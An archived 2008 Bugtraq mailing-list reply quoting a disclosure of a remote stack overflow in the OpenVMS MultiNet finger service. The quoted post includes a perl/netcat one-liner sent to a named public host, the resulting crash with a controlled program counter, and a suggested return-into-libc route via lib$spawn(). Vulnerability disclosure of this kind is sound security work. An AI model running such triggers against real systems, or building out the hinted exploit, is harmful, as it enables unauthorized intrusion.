bugtraq - Re: OpenVMS fingerd remote stack overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Thu, 7 Aug 2008 13:54:30 -0400
From: "Kevin Finisterre (lists)" <kf_lists@...italmunition.com>
To: Shaun Colley <scolleyuk@...mail.co.uk>
Cc: <bugtraq@...urityfocus.com>
Subject: Re: OpenVMS fingerd remote stack overflow

Must stop the flash backs.... stripey where are you!
-KF

On Aug 6, 2008, at 7:08 PM, Shaun Colley wrote:

>
> sup bugtraq.
>
> Since a group of lads are giving a talk on Hacking OpenVMS at defcon  
> I figured I'd release a vulnerability in the OpenVMS finger service  
> (part of the MultiNet package) to give people a few days to figure  
> out an exploit before the methods are documented for us by the guys  
> giving the talk. (assume they will be)
>
> The MultiNet finger service runs on port 79 by default (like other  
> finger servers) and takes a username to query.  A long string (~250+  
> or so bytes) will cause
> a stack overflow, giving control of a saved return address and hence  
> the program counter (PC).  Demonstrated below on a public OpenVMS  
> system..
> (hopefully the owners won't mind since they seem to encourage  
> OpenVMS hack attempts on their systems)
>
> -----------
> shauny@...alhost # echo `perl -e 'print "a"x1000'` | nc -v  
> dahmer.vistech.net 79
>
> ?Sorry,
> could not find
> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
> %SYSTEM-F-ACCVIO,
> access violation, reason mask=00, virtual address=4141414141414140,
> PC=4141414141414140, PS=0000001B%SYSTEM-F-ACCVIO, access violation,
> reason mask=00, virtual address=4141414141414140, PC=4141414141414140,
> PS=0000001B  Improperly handled condition, image exit forced.
> Improperly handled condition, image exit forced.    Signal arguments:
> Number = 0000000000000005
>
> [SNIP]
>
>
> 000000000000001B                                 000000000000001B
> Register dump:    Register dump:    R0  = 000000000000011A  R1  =
> 00000000011A0001  R2  = 4141414141414141    R0  = 000000000000011A  R1
> = 00000000011A0001  R2  = 4141414141414141    R3  = 4141414141414141
> R4  = 4141414141414141  R5  = 4141414141414141    R3  =
> 4141414141414141  R4  = 4141414141414141  R5  = 4141414141414141    R6
> = 0000000000000002  R7  = 0000000000000001  R8  = 0000000000000000
> R6  = 0000000000000002  R7  =
>
> [SNIP]
>
> etc..
> -----------
>
> For running arbitrary code...The main architectures running OpenVMS  
> (Alpha, VAX) have Page Table Entries set such that the Fault-on- 
> execute bit is set for
> the user stack...i.e. equivalent to a non-executable stack on other  
> modern operating systems.
>
> However this doesn't stop a "return-into-libc" type attack...library  
> functions can be returned into.  One possible candidate is returning  
> into the lib$spawn() library function.
>
> Take it easy.
>
>
> ---
> Shaun Colley
> NGSSoftware
>
> Take everything with a handful of salt
> _________________________________________________________________
> Get Hotmail on your mobile from Vodafone
> http://clk.atdmt.com/UKM/go/107571435/direct/01/